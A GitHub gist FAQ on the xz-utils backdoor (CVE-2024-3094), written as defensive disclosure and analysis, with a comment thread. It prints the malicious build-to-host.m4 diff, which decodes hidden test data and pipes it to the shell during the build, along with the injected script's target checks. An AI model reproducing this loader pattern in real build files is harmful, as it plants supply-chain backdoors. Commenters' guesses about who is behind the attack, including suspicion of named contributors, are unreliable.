Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active January 2, 2025 15:08
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@MingcongBai
Copy link

MingcongBai commented Mar 30, 2024

Yeah, China! China! When something involves a random Chinese, it always unfolds with accusation out of thin air.

傻逼

I don't say it's China, imagine the benefit to Proprietary OS if Linux is compromised. It could be US criminals pretendy to be from China.

I did not accuse China in any case just pointed a group that is pretending to add support for a Chinese CPU. When it's not the official product officials. So it could even be a simple stateless agent.

Eh.

Look dude, I'd be more careful with this kind of accusation. It's more than a little funny seeing you mention my name and then invalidating all of our (can friendship and passion not exist in China) work. How dare you.

Go, look me up and rest assured that you will be disappointed.

It's normal be anxious or at least a little nervous about the aftermath of this drama, but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit. This is the only way forward that does not bring doom to open source collaboration and this international community that we have worked so hard to build (and, in case you're wondering about what we do, to convince employees and management at Loongson that an open and community-friendly policy is the way forward).

If you still believe in this, please don't disappoint.

EDIT: Grammatical fixes, you know, not my native tongue.

@mrbbbaixue
Copy link

mrbbbaixue commented Mar 30, 2024

From the perspective of Loongson Company, there is no reason for them to extensively modify the fundamental components of Linux merely to add a backdoor.
Maybe we should just stop accusing specific country, company, And just focus on this person who write this; and how to stop this.

@vtorri
Copy link

vtorri commented Mar 30, 2024

kill the autools, use meson (the philosophy of meson is : only what is in git should go to the dist, there is even no need for a release, just a tag)

@DanielRuf
Copy link

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi).
Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.
For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.
As for the potential link to Loongson/LoongArch, I deliberately avoid getting into affiliation with Loongson, and haven't signed any NDA with them. AFAIK xry111 is also unaffiliated. We're mostly just doing trivial arch enablement here and there, fixing build errors, fixing modern C compatibility, all the daily packager stuff, and only occasionally going deeper than that. And from my experience, most of the arch-specific, or LoongArch-specific changes, would be guarded by #ifdef's or reside in separate files, and would never get built on other more popular arches.
Hope that's helpful in clearing some of the confusion or suspicion; I know I'm one of the people being suspected here though, so if that's the case, maybe read the code and reach your own conclusion. (And I'm not being defensive by replying with this; don't take this to be personal if I sound strange by not being a native speaker of English.)

Thanks for replying, I'm sorry if I'm overstretching this and you are innocent. My second post arrived in the mean time. We need all original project maintainers to review all your group's contributions as some legit contributions might have been used to obfuscate other backdoor-allowing code in systemd, llvm, make, openssl...

I was already suspicious seeing none of your group are actual official employees of Loongson.

In your theory Linux could not exist because Linus was not an official employee of Intel.

Speaking for my self, supporting niche architectures in various FOSS softwares is my hobby over years. If you wish to check my identity, please go ahead, you'll find nothing more than a usual uni student trying to waste spare time on random stuff.

@cre0z
Copy link

cre0z commented Mar 30, 2024

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

@FlyGoat
Copy link

FlyGoat commented Mar 30, 2024

@DanielRuf
Copy link

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times:
https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web
https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits:
https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

@erinacio
Copy link

but I'd follow the advice from @erinacio and @xen0n and submit requests for audit in any number of projects you see fit

How do these security audits work? I've never heard of security audits in OSS before.

Security audits are more common in crypto or security related repos. Take gocryptfs as an example: https://defuse.ca/audits/gocryptfs.htm .

Informal audits could be taken just by manually reviewing all commit I think, but formal audits may require asking for some security consultants. Many potentially affected repos are backed by big? corps like Red Hat (taking systemd as example). They must know the correct person to contact to perform a security audit.

@herzeleid02
Copy link

herzeleid02 commented Mar 30, 2024

relevant xkcd: https://xkcd.com/2347/

We had such cases before that in the npmjs ecosystem (and also PyPi). Besides that, please everyone stick to the facts.

@herzeleid02 so far there is no active exploitation known. The installed version doesn't imply that you are truly affected - just that the version with the malicious test files and code is loaded. For the execution there are multiple requirements to be successful. Currently no one knows all, the list is just what Andres Freund found out.

We had big luck, because the performance regression was quickly detected and the code analyzed. I doubt that logging could be bypassed with this backdoor, So looking at the logs may show you, if anything relevant happened. But personally I think that nothing happened because the cover has been blown now and if any threat actor would exploit that now in a large scale, everyone would see that.

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

These are just my assumptions based on my experience in the field of cyber warfare, APTs and tactics involved in such things. The best way to hide something, is in plain sight. That also reminds me of bigger espionage cases.

Thanks a lot for the explanation. We still need to understand whats up with the payload and how the systems could be affected. There was some information how it injects an ssh auth function, but to actually exploit me you have to even know my ip adress, which sshd doesnt just advertise to the world. Journalctl seems fine and atimes of important stuff is ok, rpm -Va is ok too. Would they go that far?

@cre0z
Copy link

cre0z commented Mar 30, 2024

How do these security audits work? I've never heard of security audits in OSS before.

@schkwve there are. For example the company Cure53 does such things. Also OpenSSL got audited multiple times: https://duckduckgo.com/?t=ffab&q=cure53+security+audit+opensource&ia=web https://duckduckgo.com/?q=openssl+security+audit&t=ffab&ia=web

Basically they read the code, run checks against the library (do some pentesting) and provide feedback based on the results.

Even the OpenSSF and Google sponsor security audits: https://duckduckgo.com/?t=ffab&q=openssf+security+audit&ia=web

If you look for more details around this, you will find more details for sure.

Thanks for the links, It's been a bit of an eye opener about OSS security :p

Security audits are more common in crypto or security related repos.

That's probably why I haven't heard of security audits that much.

@cwegener
Copy link

@Z-nonymous You need to take a break from the Internet and get some fresh air.

@Exagone313
Copy link

Exagone313 commented Mar 30, 2024

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-30.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!

edit: fixed date above, the 31 has only:

[11:49:53] *** Parts: jiatan (~jiatan@redacted) (Leaving)
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per https://spur.us/ it's from Witopia VPN

@cwegener
Copy link

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

@yump
Copy link

yump commented Mar 30, 2024

@DanielRuf

In the security world, you don't want to burn your exploits like this. Since this was planned by the involved person(s) for more than 2 years and the backdoor gradually implemented (probably to not get caught directly), there was probably some specific target (I guess not all of us) which is probably harder to hit (and so they took the long and complex route to obfuscate that as much as possible).

If the perpetrator is an intelligence agency, I think the necessary preparation makes it less likely, not more likely, that there was a specific target in mind. Given that a backdoor into sshd takes years to insert, and is very useful capability to have, at a strategic level a good spy agency should be building such capabilities well in advance of learning what they are to be used for. When war looms you don't want to have to say, "Sorry boss, we can do that, but it'll take 2 years."

@lhmouse
Copy link

lhmouse commented Mar 30, 2024

from Witopia VPN

Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland China.

I'm online on Libera and OFTC almost everyday, and no VPN is required.

If someone cares about their privacy, they can get generic user cloaks, provided by libera.chat since its migration from freenode; and there is no necessity to connect via VPN.

@DanielRuf
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

@DanielRuf
Copy link

@lhmouse @cwegener the country is probably a false flag. A VPN is meant to make it look like you are from a different country.

It's not the first time I had a case where a hacker used a VPN to conceal their true country. The IP address pointed to a completely different country. So that's why we should not jump to conclusions here.

Any serious security expert does not do that. Attribution is hard and not like "look, this was the IP address, so they are in this country".

@LaRevoltage
Copy link

@yump we can't say, if this is the case. It was just some input from my point of view based on past experience. Especially when it comes to tactics. So far we don't have the full details about the backdoor.

We should concentrate on the relevant technical facts for now.

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.

There have been situation when the devs suddenly put malicious stuff in their project for various reason(GHSA-97m3-w2cp-4xx6) but the level of attack isn't comparable to this one. This is simply too good to be an exploit a normal developer wrote spontaneously.
It looks much more like a planned attack, which raises question about third party interference.

@mrbbbaixue
Copy link

from Witopia VPN 
Probably just one in a gazillion of VPN providers that allows you to use the Internet from mainland Mainland China.

Github, Libera, OFTC does not require VPN.
Moreover, These VPN services were blocked in Mainland China. Majority of Mainland China's VPN users use self-hosted servers to connect to HongKong SAR.

@Trimester6
Copy link

Exhibit from my Libera IRC logs, IP is redacted for privacy.

#ubuntu/2024-01-31.log, UTC hours

[16:13:01] *** Joins: jiatan (~jiatan@redacted)
[16:16:24] <jiatan> Hello! I could not find this information on the Ubuntu docs after a bit of searching. Does Ubuntu LTS use packages from Debian Unstable or Debian Testing?
[16:18:51] <oerheks> jiatan, Unstable
[16:20:13] <jiatan> oerheks: Thanks!
$ whois redacted-ip
netname:        M247-LTD-Singapore
descr:          M247 LTD Singapore Infrastructure

As per spur.us it's from Witopia VPN

Interesting..
Seems like our boy/girl/they/them is watching this unveil since last night.

Might have some proof

@DanielRuf
Copy link

@LaRevoltage exactly, I completely agree with you.

@xry111
Copy link

xry111 commented Mar 30, 2024

This attack was possible because the release manager was a malicious user. Quite the opposite I'm not a release manager of any project despite I've contributed to a dozen or two, so I cannot inject malicious code stealthy (i.e. bypassing a code review) like this.

EDIT: I'm also pretty sure I've not made any PR with binary blobs.

Thus instead of (or in addition to) accusing me, you should really consider those release managers more seriously.

And how could I know this guy had been malicious when I contributed to xz? I do all developing on Linux From Scratch where no RPMs or DEBs are used. So the malicious code was inactive and I couldn't ever noticed it (EDIT: unless my code happens to crash on this test payload, but it didn't happen). Then did I have any valid reason not to collaborate with the reviewer? Or am I free to say "hey I don't trust this reviewer, please assign another one" in the future with no evidence?! I'd be happy to do so if I was really allowed.

I'd like a security audition on all my contribution but I'd prefer someone to pay me some real money if they turn out clean, like I've commented in the PR.

BTW for the make-ca issue, we've been deliberately piping input data into openssl x509 command thus the warning is just noisy. There is even an OpenSSL issue complaining it. Simply silencing it with -in /dev/stdin is better than creating a temporary file because a temporary file would be easier to be compromised than the pipe buffer by other processes running on the system. This should be really obvious. Note that make-ca is only supposed to run on Linux so we can assume /dev/stdin is just the stdin.

@cre0z
Copy link

cre0z commented Mar 30, 2024

Relevant technical fact is that this exploit isn't on a level with information security skills of an average developer. Not only it uses smart tactic to hide itself from the commit inspection with autoconf, but also has a sophisticated payload nature, which we still can't reverse after 16 hours past the incident.
This is simply too good to be an exploit a normal developer wrote spontaneously. It looks much more like a planned attack, which raises question about third party interference.

But what now? All we can do is identify more about the backdoor, remove it, and hopefully find traces of the backdoor being used to further track down possible backdoors in other utilities.

@Exagone313
Copy link

I find it strange that they used the name jiatan for asking this question. If they had the trouble to use a VPN, they could have even used another name that don't have any connection to the situation. Or even they could have asked it two years ago if it's really a scheme that spanned for that long.

Though, as this is a public IRC channel, it could make Ubuntu maintainers suspicious if they find threads about updating a package connected to a Debian Unstable upgrade, from another name. Or not? You can use different nicknames on different places and it's not that strange.

@mburz
Copy link

mburz commented Mar 30, 2024

Is there any IRC channel or chat room where this issue is being discussed?
I can imagine there is a lot of interest in this.

@schauveau
Copy link

It seems to me that we should be optimistic on the idea that the payload is neither installing anything on the system nor calling home. Both would significantly increases the risk of being detected. A successful ssh backdoor is too valuable to risk.

Anyways, I assume that a lot of people are actively trying to analyze the payload. Does anyone know any good links showing progress?

I had a quick look at the offending object file but, at first glance, everything looks fine. The next step is probably to compare it to a genuine object file to spot the differences (e.g. which sections have different size).

@vlad-ivanov-name
Copy link

vlad-ivanov-name commented Mar 30, 2024

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The pattern from detect_sh.bin can be found in liblzma5/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.1 at address 001047f0

@timrobbins1
Copy link

Lasse regularly has internet breaks and is on one at the moment, started before this all kicked off. We believe CISA may be trying to get in contact with him.

I don't think it's useful to point this out, as their last commit on Github was literally Tuesday this week - plougher/squashfs-tools#276

@hardfalcon
Copy link

@vlad-ivanov-name

Note that some Debian package mirrors still provide xz-utils 5.6.1, below it's dated March 27th

https://mirror.yandex.ru/debian/pool/main/x/xz-utils/

The official main mirror of the Debian project does still provide it, too:

It's possible that they simply don't have an established process for quickly removing malicious packages from their repo, and mirrors are just syncing/mirroring whatever is on the main server.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment